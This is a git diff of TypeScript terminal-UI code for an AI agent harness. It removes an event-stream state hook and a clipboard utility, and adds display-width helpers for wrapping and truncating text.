hooksById.set(hook.id, { ...hook }); - } - hooksDirty = true; - for (const block of initialContentBlocks) { - pushBlock(capResumedBlock(block)); - } - // Blocks now hold capped copies, so drop the original resume payload — it can - // be multiple megabytes and would otherwise stay reachable through the prop - // long after the visible tail is trimmed. This mutates a caller-owned array, - // which is safe only because the useState initializer runs exactly once; a - // double-invoked initializer (e.g. React StrictMode) would hydrate the - // already-emptied array and lose the transcript. - initialContentBlocks.length = 0; - - return { - get contentBlocks() { - flushPending(); - if (contentBlocksDirty) { - contentBlocksSnapshot = [...contentBlocks]; - contentBlocksDirty = false; - } - return contentBlocksSnapshot; - }, - get turnsUsed() { - return turnsUsed; - }, - get status() { - return status; - }, - get totalCost() { - return faremeter.getTotalCost(); - }, - get totalTokens() { - return faremeter.getTotalTokens(); - }, - get inputTokens() { - return faremeter.getInputTokens(); - }, - get outputTokens() { - return faremeter.getOutputTokens(); - }, - get cacheReadTokens() { - return cacheReadTokens; - }, - get contextTokens() { - return contextTokens; - }, - get formattedCost() { - return formatCost(faremeter.getTotalCost()); - }, - get latestUserMessage() { - return latestUserMessage; - }, - get latestUserMessageLogged() { - return latestUserMessageLogged; - }, - get hooks() { - if (hooksDirty) { - hooksSnapshot = [...hooksById.values()].map((hook) => ({ ...hook })); - hooksDirty = false; - } - return hooksSnapshot; - }, - get hookCount() { - return hooksById.size; - }, - get tasks() { - return tasks; - }, - get subAgents() { - return subAgents; - }, - get elapsedMs() { - return (finishedAt ?? Date.now()) - startedAt; - }, - get awaitingResponse() { - return awaitingResponse; - }, - get isProcessing() { - return isProcessing; - }, - get currentToolName() { - return currentToolName; - }, - get streamingType() { - return streamingType; - }, - get activityTick() { - return activityTick; - }, - get lastActivityAt() { - return lastActivityAt; - }, - get quotaError() { - return quotaError; - }, - get inferenceRetry() { - return inferenceRetry; - }, - get currentPlanStep() { - return currentPlanStep; - }, - get planTotal() { - return planTotal; - }, - get planDeviated() { - return planDeviated; - }, - get trimmedBlockCount() { - return trimmedBlockCount; - }, - setGatePending(pending: boolean): void { - // Always balance the count, even when the run is terminal/stopping — a gate - // that opened while running can still resolve after a stop, and if the - // decrement were skipped the count would stick above zero and wedge the - // next run in "blocked". Only the status flip is gated on a live run. - gateCount += pending ? 1 : -1; - if (gateCount < 0) gateCount = 0; - if (status === "idle" || status === "done" || status === "failed" || status === "stopping" || status === "stopped") return; - status = gateCount > 0 ? "blocked" : "running"; - }, - requestStop(): void { - quotaError = null; - inferenceRetry = null; - if (status !== "running" && status !== "blocked") { - // Quota exhaustion leaves status at "failed" while auto-retry is armed; - // still land in a terminal stopped state so ESC/Ctrl+C can dismiss the wait. - if (status === "failed") { - stopRequested = true; - status = "stopped"; - awaitingResponse = false; - settleProcessingChrome(); - finishedAt = Date.now(); - finalizeOutstandingToolCalls(); - activeToolCallIds.clear(); - } - return; - } - stopRequested = true; - status = "stopped"; - awaitingResponse = false; - settleProcessingChrome(); - finishedAt = Date.now(); - finalizeOutstandingToolCalls(); - activeToolCallIds.clear(); - }, - markRunning(): void { - // A fresh send revives the loop after it settled (done/stopped/failed). - // Clear any gate count left over from an aborted-while-gated prior run so - // the new run never starts wedged in "blocked". - stopRequested = false; - gateCount = 0; - activeToolCallIds.clear(); - quotaError = null; - inferenceRetry = null; - status = "running"; - finishedAt = null; - awaitingResponse = true; - isProcessing = true; - // A fresh send (re)enters the awaiting-response gap; restart the stall - // clock so a send following a long idle stretch is not aborted on the - // watchdog's first tick against a stale timestamp. - lastActivityAt = Date.now(); - }, - appendUserMessage(content: string): void { - ensureUserBlock(content); - }, - clear(): void { - contentBlocks.length = 0; - contentBlocksDirty = true; - hooksDirty = true; - blockSeq = 0; - callIdToName.clear(); - callIdToArguments.clear(); - activeToolCallIds.clear(); - pendingBlock = null; - pendingField = null; - pendingFragments = []; - turnsUsed = 0; - status = "idle"; - stopRequested = false; - hadTextDeltaSinceLastReply = false; - awaitingResponse = false; - isProcessing = false; - latestUserMessage = ""; - latestUserMessageLogged = true; - tasks = []; - subAgents = []; - quotaError = null; - inferenceRetry = null; - currentPlanStep = null; - planTotal = null; - planDeviated = false; - currentToolName = null; - streamingType = null; - gateCount = 0; - startedAt = Date.now(); - finishedAt = null; - openCallId = null; - attemptStartBlockIndex = null; - attemptStartCallIds = new Set(); - errorRollbackHandoff = null; - resolvedCallIds = new Set(); - activityTick = 0; - lastActivityAt = Date.now(); - contextTokens = 0; - faremeter = makeFaremeter(); - }, - hydrateHistory(blocks: ContentBlockData[]): void { - // Resumed-session history lands after first paint. Prepend it so past - // turns sit ahead of anything already streamed into the fresh transcript. - for (let i = blocks.length - 1; i >= 0; i -= 1) { - const block = blocks[i]; - if (block !== undefined) unshiftBlock(block); - } - // The serial-pushBlock resume path trimmed to MAX_RETAINED_BLOCKS as it - // went; prepending bypasses that, so enforce the cap now. trimOldestBlocks - // splices from the front, dropping the oldest prepended history and keeping - // the most recent turns — matching the old invariant and avoiding a mass - // collapse on the user's first post-resume message. - trimOldestBlocks(); - for (const block of contentBlocks) { - if (block.type === "tasks") tasks = [...block.tasks]; - if (block.type === "plan") { - planTotal = block.steps.length; - currentPlanStep = block.steps.length > 0 ? 0 : null; - planDeviated = false; - } - } - }, - addEvent(event: ReactorEmittedEvent): void { - // Settle any buffered stream fragments before a structural event runs, so - // handlers that read the last block's content or arguments never see a - // half-drained buffer. - if (!STREAM_DELTA_TYPES.has(event.type)) flushPending(); - // The handoff only survives from an inference.error to the very next - // event; consume it here so any event other than inference.retry - // (a user message, the next cycle's start, ...) discards it. - const precedingErrorRollback = event.type === "inference.retry" ? errorRollbackHandoff : null; - errorRollbackHandoff = null; - switch (event.type) { - case "message.received": { - const data = event.data as { message: { content?: string; attachments?: Array<{ name: string; contentType: string }> } }; - const content = data.message.content ?? ""; - const attachments = data.message.attachments ?? []; - const attachmentText = attachments.length > 0 - ? `\n[Attached ${attachments.length} image${attachments.length === 1 ? "" : "s"}: ${attachments.map((att) => att.name).join(", ")}]` - : ""; - const full = `${content}${attachmentText}`; - // The rollback boundary must never straddle a user block: any - // later retry retracting across it would erase the user's message. - attemptStartBlockIndex = null; - ensureUserBlock(full); - break; - } - case "inference.start": { - inferenceRetry = null; - attemptStartBlockIndex = contentBlocks.length; - attemptStartCallIds = new Set(callIdToName.keys()); - resolvedCallIds = new Set(); - break; - } - case "inference.retry": { - { - const retryData = event.data as { - attempt: number; - delayMs: number; - }; - inferenceRetry = { - attempt: retryData.attempt, - delayMs: retryData.delayMs, - retryAt: Date.now() + retryData.delayMs, - }; - } - // A retry directly after a terminal inference.error is the - // reactor's committed-retry: re-arm from the handoff so the - // failed attempt (and its rendered error line) is retracted. - if (attemptStartBlockIndex === null && precedingErrorRollback !== null) { - attemptStartBlockIndex = precedingErrorRollback.blockIndex; - attemptStartCallIds = precedingErrorRollback.callIds; - } - if (attemptStartBlockIndex !== null) { - spliceBlocks(attemptStartBlockIndex, contentBlocks.length - attemptStartBlockIndex); - for (const callId of callIdToName.keys()) { - if (!attemptStartCallIds.has(callId)) { - callIdToName.delete(callId); - callIdToArguments.delete(callId); - activeToolCallIds.delete(callId); - } - } - awaitingResponse = activeToolCallIds.size === 0; - // Drop strip-fallback entries for tool calls that were rolled back - // with this attempt. Without this, a streamed task tool_call that - // never executed leaves a permanent "doing" Agents ghost. - subAgents = subAgents.filter((a) => attemptStartCallIds.has(a.id)); - attemptStartBlockIndex = null; - openCallId = null; - currentToolName = null; - streamingType = null; - } - break; - } - case "inference.done": { - // The cycle's streamed content is settled; disarm the rollback - // boundary so a harness pre-commit retry for the *next* cycle - // (which arrives before that cycle's inference.start) cannot - // splice away this cycle's blocks. - attemptStartBlockIndex = null; - break; - } - case "inference.thinking.delta": { - awaitingResponse = false; - streamingType = "thinking"; - markActivity(); - const token = (event.data as { token: string }).token; - const last = contentBlocks[contentBlocks.length - 1]; - if (!last || last.type !== "thinking") { - flushPending(); - pushBlock({ type: "thinking", content: "" }); - } - bufferFragment(contentBlocks[contentBlocks.length - 1]!, "content", MAX_STORED_ASSISTANT_BLOCK_CHARS, token); - break; - } - case "inference.text.delta": { - awaitingResponse = false; - streamingType = "text"; - hadTextDeltaSinceLastReply = true; - markActivity(); - const token = (event.data as { token: string }).token; - const last = contentBlocks[contentBlocks.length - 1]; - if (!last || last.type !== "text") { - flushPending(); - pushBlock({ type: "text", content: "" }); - } - bufferFragment(contentBlocks[contentBlocks.length - 1]!, "content", MAX_STORED_ASSISTANT_BLOCK_CHARS, token); - break; - } - case "inference.tool_call.start": { - awaitingResponse = false; - const data = event.data as { name: string; callId: string }; - activeToolCallIds.add(data.callId); - currentToolName = data.name; - streamingType = "tool"; - callIdToName.set(data.callId, data.name); - callIdToArguments.set(data.callId, ""); - openCallId = data.callId; - pushBlock({ type: "tool_call", callId: data.callId, name: data.name, arguments: "", startedAt: Date.now() }); - break; - } - case "inference.tool_call.delta": { - markActivity(); - const fragment = (event.data as { argumentFragment: string }).argumentFragment; - const last = contentBlocks[contentBlocks.length - 1]; - if (last && last.type === "tool_call") { - bufferFragment(last, "arguments", MAX_STORED_TOOL_ARGUMENT_CHARS, fragment); - } - break; - } - case "inference.tool_call.end": { - awaitingResponse = false; - streamingType = "tool"; - const data = event.data as { name: string; callId: string; arguments?: unknown }; - currentToolName = data.name; - callIdToName.set(data.callId, data.name); - const last = contentBlocks[contentBlocks.length - 1]; - // The streamed fragments live on the open tool_call block (flushed just - // above), so that block is the single accumulator; the final arguments - // payload, when present, supersedes the streamed text. - const streamedArguments = last?.type === "tool_call" && last.callId === data.callId ? last.arguments : ""; - const rawArgumentText = data.arguments === undefined ? streamedArguments : stringifyToolArguments(data.arguments); - const argumentText = capStoredToolArguments(rawArgumentText); - callIdToArguments.set(data.callId, argumentText); - openCallId = null; - if (last?.type === "tool_call" && last.name === data.name) { - if (argumentText.length > 0) last.arguments = argumentText; - contentBlocksDirty = true; - } else { - pushBlock({ type: "tool_call", callId: data.callId, name: data.name, arguments: argumentText, startedAt: Date.now() }); - } - if (data.name === "task") { - subAgents = updateSubAgent(subAgents, data.callId, { - title: parseTaskToolTitle(argumentText), - status: "doing", - }); - } - break; - } - case "connector.reply": { - const replyData = event.data as { content: string }; - if (!hadTextDeltaSinceLastReply && replyData.content.length > 0) { - const last = contentBlocks[contentBlocks.length - 1]; - if (last && last.type === "text") { - last.content = capStoredAssistantContent(last.content + replyData.content); - contentBlocksDirty = true; - } else { - pushBlock({ type: "text", content: capStoredAssistantContent(replyData.content) }); - } - } - hadTextDeltaSinceLastReply = false; - awaitingResponse = false; - if (activeToolCallIds.size === 0 && !subAgents.some((a) => a.status === "doing")) { - isProcessing = false; - } - break; - } - case "tool.done": { - const result = (event.data as { result: { callId: string; content: unknown; isError: boolean } }).result; - activeToolCallIds.delete(result.callId); - awaitingResponse = activeToolCallIds.size === 0; - // Restart the stall clock only once every sibling result is in and - // the reactor is genuinely waiting to infer again. - if (awaitingResponse) lastActivityAt = Date.now(); - currentToolName = null; - streamingType = null; - // A retried inference cycle (or any other re-emission upstream) can - // deliver the same tool.done twice; the call already has a result - // block, so a second one would render as a duplicate transcript - // line. Scoped to the current cycle because index-based providers - // reuse callIds across cycles. - if (resolvedCallIds.has(result.callId)) break; - resolvedCallIds.add(result.callId); - const trackedName = callIdToName.get(result.callId); - const name = trackedName ?? result.callId; - const content = capStoredToolResultContent(stringifyToolContent(result.content)); - - // Prefer name === "task"; also match by callId so a lost callId→name - // map (retry rollback, partial bookkeeping) cannot leave a "doing" ghost. - const rawArgs = callIdToArguments.get(result.callId) ?? ""; - subAgents = settleSubAgentOnToolResult( - subAgents, - result.callId, - trackedName, - result.isError, - parseTaskToolTitle(rawArgs), - ); - - if (name === "submit_plan" && !result.isError) { - const rawArgs = callIdToArguments.get(result.callId) ?? ""; - callIdToName.delete(result.callId); - callIdToArguments.delete(result.callId); - let steps: PlanBlockStep[] = []; - try { - const parsed = JSON.parse(rawArgs) as { steps?: Array<{ file: string; action: string; reason?: string }> }; - if (Array.isArray(parsed.steps)) { - steps = parsed.steps.map((s) => ({ file: s.file, action: s.action, ...(s.reason !== undefined ? { reason: s.reason } : {}) })); - } - } catch { /* invalid args → empty plan */ } - // Remove originating tool_call block - let planCallIndex = -1; - for (let i = contentBlocks.length - 1; i >= 0; i--) { - const b = contentBlocks[i]; - if (b?.type === "tool_call" && b.name === "submit_plan") { planCallIndex = i; break; } - } - if (planCallIndex >= 0) spliceBlocks(planCallIndex, 1); - // Replace existing plan block or pin at index 0 - const existingPlanIndex = contentBlocks.findIndex((b) => b.type === "plan"); - const planBlock = { type: "plan" as const, steps }; - if (existingPlanIndex >= 0) { - setBlock(existingPlanIndex, planBlock); - } else { - unshiftBlock(planBlock); - } - currentPlanStep = 0; - planTotal = steps.length; - planDeviated = false; - break; - } - - if ((name === "write_file" || name === "edit_file") && !result.isError && currentPlanStep !== null && planTotal !== null) { - const rawArgs = callIdToArguments.get(result.callId) ?? ""; - callIdToName.delete(result.callId); - callIdToArguments.delete(result.callId); - let filePath = ""; - try { filePath = (JSON.parse(rawArgs) as { path?: string }).path ?? ""; } catch { /* ignored */ } - const planBlock = contentBlocks.find((b) => b.type === "plan"); - if (planBlock?.type === "plan" && filePath.length > 0) { - // Find the next step with a non-empty file, skipping fileless steps. - let nextFileIndex: number | null = null; - for (let i = currentPlanStep; i < planBlock.steps.length; i++) { - const s = planBlock.steps[i]; - if (s !== undefined && s.file.length > 0) { nextFileIndex = i; break; } - } - if (nextFileIndex !== null && planBlock.steps[nextFileIndex]?.file === filePath) { - // Find the next file step after this one; null if none remain. - let afterIndex: number | null = null; - for (let i = nextFileIndex + 1; i < planBlock.steps.length; i++) { - const s = planBlock.steps[i]; - if (s !== undefined && s.file.length > 0) { afterIndex = i; break; } - } - currentPlanStep = afterIndex; - } else { - planDeviated = true; - } - } - } - - if (name === "manage_tasks" && !result.isError) { - let taskCallIndex = -1; - for (let i = contentBlocks.length - 1; i >= 0; i--) { - const b = contentBlocks[i]; - if (b?.type === "tool_call" && b.name === "manage_tasks") { - taskCallIndex = i; - break; - } - } - const taskArgs = callIdToArguments.get(result.callId) ?? ""; - callIdToName.delete(result.callId); - callIdToArguments.delete(result.callId); - let newTasks = tasks; - try { - const raw: unknown = JSON.parse(taskArgs as string); - const parsed = parseManageTasksArgs(raw); - if (parsed !== null) newTasks = applyManageTasks(tasks, parsed); - } catch { - // Malformed manage_tasks args: leave the checklist unchanged. - } - if (taskCallIndex >= 0) { - spliceBlocks(taskCallIndex, 1); - } - const existingTaskIndex = contentBlocks.findIndex((b) => b.type === "tasks"); - const taskBlock = { type: "tasks" as const, tasks: newTasks }; - if (existingTaskIndex >= 0) { - setBlock(existingTaskIndex, taskBlock); - } else { - unshiftBlock(taskBlock); - } - tasks = newTasks; - break; - } - - if (name === "present" && !result.isError) { - const rawArgs = callIdToArguments.get(result.callId) ?? ""; - callIdToName.delete(result.callId); - callIdToArguments.delete(result.callId); - const validated = validateView(parsePresentViewFromArgs(rawArgs)); - let presentCallIndex = -1; - for (let i = contentBlocks.length - 1; i >= 0; i--) { - const b = contentBlocks[i]; - if (b?.type === "tool_call" && b.name === "present") { - presentCallIndex = i; - break; - } - } - if (!validated.ok) { - if (presentCallIndex >= 0) { - spliceBlocks(presentCallIndex, 1); - } - pushBlock({ - type: "tool_result", - callId: result.callId, - name: "present", - content: `present view validation failed: ${validated.error}`, - isError: true, - }); - break; - } - if (presentCallIndex >= 0) { - spliceBlocks(presentCallIndex, 1); - } - pushBlock({ type: "view", node: validated.node }); - break; - } - - callIdToName.delete(result.callId); - callIdToArguments.delete(result.callId); - - pushBlock({ - type: "tool_result", - callId: result.callId, - name, - content, - isError: result.isError, - finishedAt: Date.now(), - }); - if ( - activeToolCallIds.size === 0 && - !subAgents.some((a) => a.status === "doing") && - inferenceRetry === undefined - ) { - isProcessing = false; - } - break; - } - case "reactor.error": { - const data = event.data as { fatal: boolean; error: string }; - pushBlock({ type: "error", message: data.error }); - break; - } - case "inference.error": { - // Terminal for this attempt: disarm the boundary so it cannot leak - // into a later cycle, but hand it off in case the reactor follows - // up immediately with a committed-retry inference.retry. - if (attemptStartBlockIndex !== null) { - errorRollbackHandoff = { blockIndex: attemptStartBlockIndex, callIds: attemptStartCallIds }; - attemptStartBlockIndex = null; - } - const err = (event.data as { - error: { - category: string; - message: string; - retryAfterMs?: number; - statusCode?: number; - raw?: unknown; - }; - }).error; - const friendly: Record = { - // The App opens the OAuth re-login modal on this category; keep the - // transcript line short and free of raw 401 JSON from the provider. - credential_failure: "Session expired — re-authenticating…", - quota_exhausted: "Quota exhausted — usage limit reached.", - context_overflow: "Context window full — compaction could not keep up. Try /clear to start fresh.", - retryable: "Request failed — will retry.", - aborted: "Request aborted.", - timeout: "Request timed out.", - protocol_mismatch: "Unexpected response from inference API.", - }; - // Some providers (e.g. z.ai) report a context-window overflow as a 429 - // or a 400 whose wording the upstream classifier does not recognize, so - // it arrives mislabeled as quota_exhausted/fatal. Trust the message text - // over the category when it clearly describes a context overflow, so the - // user gets the right guidance instead of a misleading "quota" error. - const category = looksLikeContextOverflow(err.message) ? "context_overflow" : err.category; - const classified: { - category: string; - message: string; - statusCode?: number; - raw?: unknown; - } = { - category, - message: err.message, - ...(err.statusCode !== undefined ? { statusCode: err.statusCode } : {}), - ...(err.raw !== undefined ? { raw: err.raw } : {}), - }; - const msg = isGatewayOverloadInferenceError(classified) - ? gatewayOverloadUserMessage(classified) - : (friendly[category] ?? err.message); - // The director immediately continues recoverable attempts; rendering an - // error here would flash a terminal-looking failure during recovery. - if (!isNonTerminalInferenceError(classified)) { - pushBlock({ type: "error", message: msg }); - } - if (category === "quota_exhausted" && err.retryAfterMs !== undefined) { - quotaError = { retryAfterMs: err.retryAfterMs, retryAt: Date.now() + err.retryAfterMs }; - } - break; - } - default: - break; - } - - if (event.type === "inference.done") { - turnsUsed++; - awaitingResponse = false; - streamingType = null; - } - - if (event.type === "inference.usage") { - const data = event.data as { usage: { input: number; output: number; cacheRead: number; cacheWrite: number; thinking: number } }; - faremeter.addUsage(data.usage); - cacheReadTokens += data.usage.cacheRead; - contextTokens = data.usage.input + data.usage.output; - } - - if (event.type === "reactor.done") { - inferenceRetry = null; - status = stopRequested ? "stopped" : "done"; - finishedAt = Date.now(); - awaitingResponse = false; - settleProcessingChrome(); - // A clean done resolves every tool_call in order, but a stopped run may - // leave one dangling; settle it so it stops rendering as running. - if (stopRequested) finalizeOutstandingToolCalls(); - } - - if (event.type === "reactor.error" || event.type === "inference.error") { - // Only a terminal error ends the run. A reactor.error carries an explicit - // fatal flag; a retryable/aborted inference error is transient and the - // reactor will retry, so flipping to "failed" and synthesizing aborted - // results for in-flight tool calls would wrongly settle a run that is - // about to resume. - const terminal = - event.type === "reactor.error" - ? (event.data as { fatal: boolean }).fatal === true - : !isNonTerminalInferenceError( - (event.data as { - error: { - category: string; - message: string; - statusCode?: number; - raw?: unknown; - }; - }).error, - ); - if (terminal) { - inferenceRetry = null; - status = "failed"; - finishedAt = Date.now(); - awaitingResponse = false; - settleProcessingChrome(); - finalizeOutstandingToolCalls(); - } - } - }, - addHookEvent(event: LifecycleHookEvent): void { - switch (event.type) { - case "hooks.loaded": { - hooksById.clear(); - for (const hook of event.hooks) { - hooksById.set(hook.id, { ...hook }); - } - hooksDirty = true; - break; - } - case "hook.updated": { - hooksById.set(event.hook.id, { ...event.hook }); - hooksDirty = true; - break; - } - } - }, - noteSubAgentProgress(info: { description: string; toolName: string }): void { - lastActivityAt = Date.now(); - activityTick++; - // Show the worker's current tool in the status bar so a long-running - // task does not look stalled while the parent is blocked on its result. - currentToolName = info.toolName; - streamingType = "tool"; - // Annotate matching Agents-strip entries with the live tool name. - // Title is "agent: description"; match on the description suffix and - // rewrite the trailing " · tool" annotation without losing the base. - subAgents = subAgents.map((a) => { - if (a.status !== "doing") return a; - const base = a.title.includes(" · ") - ? a.title.slice(0, a.title.lastIndexOf(" · ")) - : a.title; - if (base === info.description || base.endsWith(`: ${info.description}`)) { - return { ...a, title: `${base} · ${info.toolName}` }; - } - return a; - }); - }, - }; -} - -// Token events arrive at high frequency; structural events (status changes, -// turn boundaries) bypass pending-render batching so they're never delayed. -const TOKEN_EVENTS = new Set([ - "inference.text.delta", - "inference.thinking.delta", - "inference.tool_call.delta", -]); - -export type AgentStreamView = AgentStreamState & { displayRevision: number }; - -export function useAgentStream( - emitter: EventEmitter, - initialHooks: LifecycleHookStatus[] = [], - getModel?: () => string, - onInferenceTimeout?: () => void, - initialContentBlocks: ContentBlockData[] = [], - onCredentialFailure?: () => void, -): AgentStreamView { - // getModel is read live by the faremeter's pricing resolver, so a - // mid-session model switch is priced correctly without recreating the state. - const [state] = useState(() => createAgentStreamState(initialHooks, getModel, initialContentBlocks)); - const [tick, setTick] = useState(0); - const [displayRevision, setDisplayRevision] = useState(0); - const onInferenceTimeoutRef = useRef(onInferenceTimeout); - onInferenceTimeoutRef.current = onInferenceTimeout; - const onCredentialFailureRef = useRef(onCredentialFailure); - onCredentialFailureRef.current = onCredentialFailure; - const pendingRenderRef = useRef(false); - const pendingLineRevisionRef = useRef(false); - - const bumpDisplayRevision = (): void => { - pendingLineRevisionRef.current = false; - setDisplayRevision((r) => r + 1); - }; - - // `state` is a stable store object from useState — never recreated. Effects - // that re-arm on status/quota changes depend only on those fields; listing - // `state` itself would be noise (always same identity). - - // ~30fps drain makes streaming feel metronomic rather than bursty. Gated to - // running/blocked so an idle session schedules no periodic timer. - useEffect(() => { - if (state.status !== "running" && state.status !== "blocked") return; - const interval = setInterval(() => { - if (pendingRenderRef.current) { - pendingRenderRef.current = false; - setTick((t) => t + 1); - } - }, 33); - return () => clearInterval(interval); - }, [state.status]); - - // Line layout is heavier than chrome updates; coalesce it during token - // streaming. Gated to running/blocked so an idle session schedules no - // periodic timer. - useEffect(() => { - if (state.status !== "running" && state.status !== "blocked") return; - const interval = setInterval(() => { - if (pendingLineRevisionRef.current) { - bumpDisplayRevision(); - } - }, 100); - return () => clearInterval(interval); - }, [state.status]); - - // requestStop()/clear() can transition status out of running/blocked with a - // token delta still buffered in pendingRenderRef/pendingLineRevisionRef — - // the two drain intervals above are gated off before their next tick would - // have flushed it. Perform that flush once on the transition so nothing is - // stranded, without reviving a periodic timer while idle. - useEffect(() => { - if (state.status === "running" || state.status === "blocked") return; - if (pendingRenderRef.current || pendingLineRevisionRef.current) { - pendingRenderRef.current = false; - setTick((t) => t + 1); - bumpDisplayRevision(); - } - }, [state.status]); - - useEffect(() => { - const handler = (event: ReactorEmittedEvent) => { - state.addEvent(event); - if (TOKEN_EVENTS.has(event.type)) { - pendingRenderRef.current = true; - pendingLineRevisionRef.current = true; - } else { - setTick((t) => t + 1); - bumpDisplayRevision(); - } - if (event.type === "inference.error") { - const category = (event.data as { error: { category: string } }).error.category; - if (category === "timeout") onInferenceTimeoutRef.current?.(); - if (category === "credential_failure") onCredentialFailureRef.current?.(); - } - }; - const hookHandler = (event: LifecycleHookEvent) => { - state.addHookEvent(event); - setTick((t) => t + 1); - bumpDisplayRevision(); - }; - const progressHandler = (info: { description: string; toolName: string }) => { - state.noteSubAgentProgress(info); - // Progress is infrequent (per tool call), so render immediately rather - // than waiting on the token drain interval. - setTick((t) => t + 1); - bumpDisplayRevision(); - }; - const hydrateHandler = (blocks: ContentBlockData[]) => { - state.hydrateHistory(blocks); - setTick((t) => t + 1); - bumpDisplayRevision(); - }; - emitter.on("event", handler); - emitter.on("hook", hookHandler); - emitter.on("subagent.progress", progressHandler); - emitter.on("history.hydrate", hydrateHandler); - return () => { - emitter.off("event", handler); - emitter.off("hook", hookHandler); - emitter.off("subagent.progress", progressHandler); - emitter.off("history.hydrate", hydrateHandler); - }; - // state is a stable store; only re-bind when the emitter instance changes. - }, [emitter]); - - useEffect(() => { - if (state.status !== "running" && state.status !== "blocked" && state.quotaError === null) return; - const interval = setInterval(() => { - setTick((t) => t + 1); - }, 1000); - return () => { - clearInterval(interval); - }; - }, [state.status, state.quotaError]); - - void tick; - - // state identity is stable; re-wrap only when displayRevision advances. - return useMemo( - () => Object.assign(Object.create(state), { displayRevision }), - [displayRevision], - ); -} diff --git a/src/tui/util/clipboard.ts b/src/tui/util/clipboard.ts deleted file mode 100644 index 3b4d2941b..000000000 --- a/src/tui/util/clipboard.ts +++ /dev/null @@ -1,25 +0,0 @@ -import { spawn } from "node:child_process"; - -// Wrap text in an OSC 8 hyperlink so terminals that support it render `label` as -// a clickable link to `url`. Terminals without OSC 8 support just show `label`. -export function osc8(url: string, label: string): string { - return `]8;;${url}${label}]8;;`; -} - -// Copy text to the system clipboard. OSC 52 works over most modern terminals -// (including remote sessions) without spawning anything; on darwin we also pipe -// to pbcopy as a fallback for terminals that disable OSC 52. -export function writeClipboard(text: string): void { - const base64 = Buffer.from(text, "utf8").toString("base64"); - process.stdout.write(`]52;c;${base64}`); - - if (process.platform === "darwin") { - try { - const child = spawn("pbcopy"); - child.on("error", () => undefined); - child.stdin.end(text); - } catch { - // OSC 52 already attempted; ignore pbcopy failure. - } - } -} diff --git a/src/tui/view/height.ts b/src/tui/view/height.ts index 423d9c764..17a0db8cf 100644 --- a/src/tui/view/height.ts +++ b/src/tui/view/height.ts @@ -1,11 +1,76 @@ export type RowRange = { start: number; end: number }; +/** + * East Asian Ambiguous characters count as one column, not two. + * + * This is a contract with the renderer, not a preference. The shell is built + * from Ambiguous glyphs — the box borders (U+2502, U+256D…), the em dash, the + * arrow, the ellipsis every truncation ends in — so if our table and OpenTUI's + * disagree here every border and truncation budget is off by the count of those + * glyphs on the line, and the error on a border rule scales with the terminal + * width rather than with the content. + * + * OpenTUI resolves Ambiguous as narrow under both of its width methods + * (`wcwidth` and `unicode`), which is why this is `true`. It is passed + * explicitly rather than left to Bun's default so the choice is visible and + * greppable, and `src/tui-opentui/width-contract.ts` measures a probe through + * OpenTUI's own table at startup so a divergence is caught rather than painted. + */ +export const AMBIGUOUS_IS_NARROW = true; + +/** + * Probe covering every Ambiguous glyph the shell paints, plus one unambiguously + * wide character so a table that reported everything as narrow would not pass. + */ +export const WIDTH_PROBE = "│╭—→…┆●▍あ"; + // Display width in terminal cells: emoji and CJK count as two columns, combining // marks and control characters as zero. The wrap and pad math is in columns, not // UTF-16 code units, so wide glyphs do not misalign tables or nudge the newest // line off-screen. export function stringWidth(text: string): number { - return Bun.stringWidth(text); + return Bun.stringWidth(text, { ambiguousIsNarrow: AMBIGUOUS_IS_NARROW }); +} + +/** + * Code-unit index ending the longest prefix of `text` that fits `width` + * columns. Walks by code point, so a wide glyph is kept whole: it is either + * fully inside the prefix or fully outside it, never half-painted. + */ +export function prefixIndexForWidth(text: string, width: number): number { + if (width <= 0) return 0; + let used = 0; + let i = 0; + while (i < text.length) { + const ch = String.fromCodePoint(text.codePointAt(i)!); + const cw = stringWidth(ch); + if (used + cw > width) return i; + used += cw; + i += ch.length; + } + return text.length; +} + +/** Longest prefix of `text` that fits `width` columns. */ +export function sliceToWidth(text: string, width: number): string { + return text.slice(0, prefixIndexForWidth(text, width)); +} + +/** Longest suffix of `text` that fits `width` columns. */ +export function sliceTailToWidth(text: string, width: number): string { + if (width <= 0) return ""; + let used = 0; + let start = text.length; + while (start > 0) { + const prev = text.codePointAt(start - 1)!; + const step = prev >= 0xdc00 && prev <= 0xdfff && start >= 2 ? 2 : 1; + const ch = text.slice(start - step, start); + const cw = stringWidth(ch); + if (used + cw > width) break; + used += cw; + start -= step; + } + return text.slice(start); } const SURROGATE_RE = /[\uD800-\uDFFF]/; @@ -16,8 +81,8 @@ const SURROGATE_RE = /[\uD800-\uDFFF]/; // soft-wraps. A word longer than the width hard-breaks by character so no content // is lost. This is the single source of truth for wrapping: the event log slices // content by these ranges and renders one Text per row with no further wrapping, -// so the painted row count is authoritative rather than an estimate that can -// diverge from what Ink draws. +// so the painted row count is authoritative: the rows we count are the rows we +// hand the renderer, not an estimate of how it would reflow the text itself. export function wrapRanges(line: string, width: number): RowRange[] { const w = Math.max(1, width); const displayWidth = stringWidth(line); diff --git a/src/tui/view/index.ts b/src/tui/view/index.ts index 3b1accbc7..33962c30e 100644 --- a/src/tui/view/index.ts +++ b/src/tui/view/index.ts @@ -1,3 +1,3 @@ export type { ViewNode, Tone } from "./spec.js"; export { validateView, type ViewValidation } from "./validate.js"; -export { viewToLines, type StyledLine } from "./lines.js"; +export { viewToLines, type StyledLine, type ViewPalette } from "./lines.js"; diff --git a/src/tui/view/lines.ts b/src/tui/view/lines.ts index 115d0670f..c7b1cc6f1 100644 --- a/src/tui/view/lines.ts +++ b/src/tui/view/lines.ts @@ -7,21 +7,31 @@ import { GAP, PAD, toneRole, truncate } from "./registry.js"; export type StyledLine = StyledSegment[]; -function colored(text: string, role: SemanticRole | undefined, extra?: Partial): StyledSegment { - return { text, ...(role !== undefined ? { color: color(role) } : {}), ...extra }; +// Layout is shared across skins; the palette is not. The OpenTUI transcript +// paints the same view tree in the Corbits terminal palette, so callers may +// substitute the role→color resolver instead of re-implementing the layout. +export type ViewPalette = (role: SemanticRole) => string; + +function colored( + text: string, + role: SemanticRole | undefined, + palette: ViewPalette, + extra?: Partial, +): StyledSegment { + return { text, ...(role !== undefined ? { color: palette(role) } : {}), ...extra }; } // Render a leaf-ish node to a single inline StyledLine (for use inside row/grid cells). // If the node would produce multiple lines we take only the first (agent should use // simple text nodes inside aligned structures). -function renderCell(node: ViewNode, available: number): StyledLine { - const lines = viewToLines(node, available + PAD); // +PAD so inner doesn't subtract again +function renderCell(node: ViewNode, available: number, palette: ViewPalette): StyledLine { + const lines = viewToLines(node, available + PAD, palette); // +PAD so inner doesn't subtract again return lines[0] ?? []; } // Compute plain text width of a cell's first line for allocation (strips style). 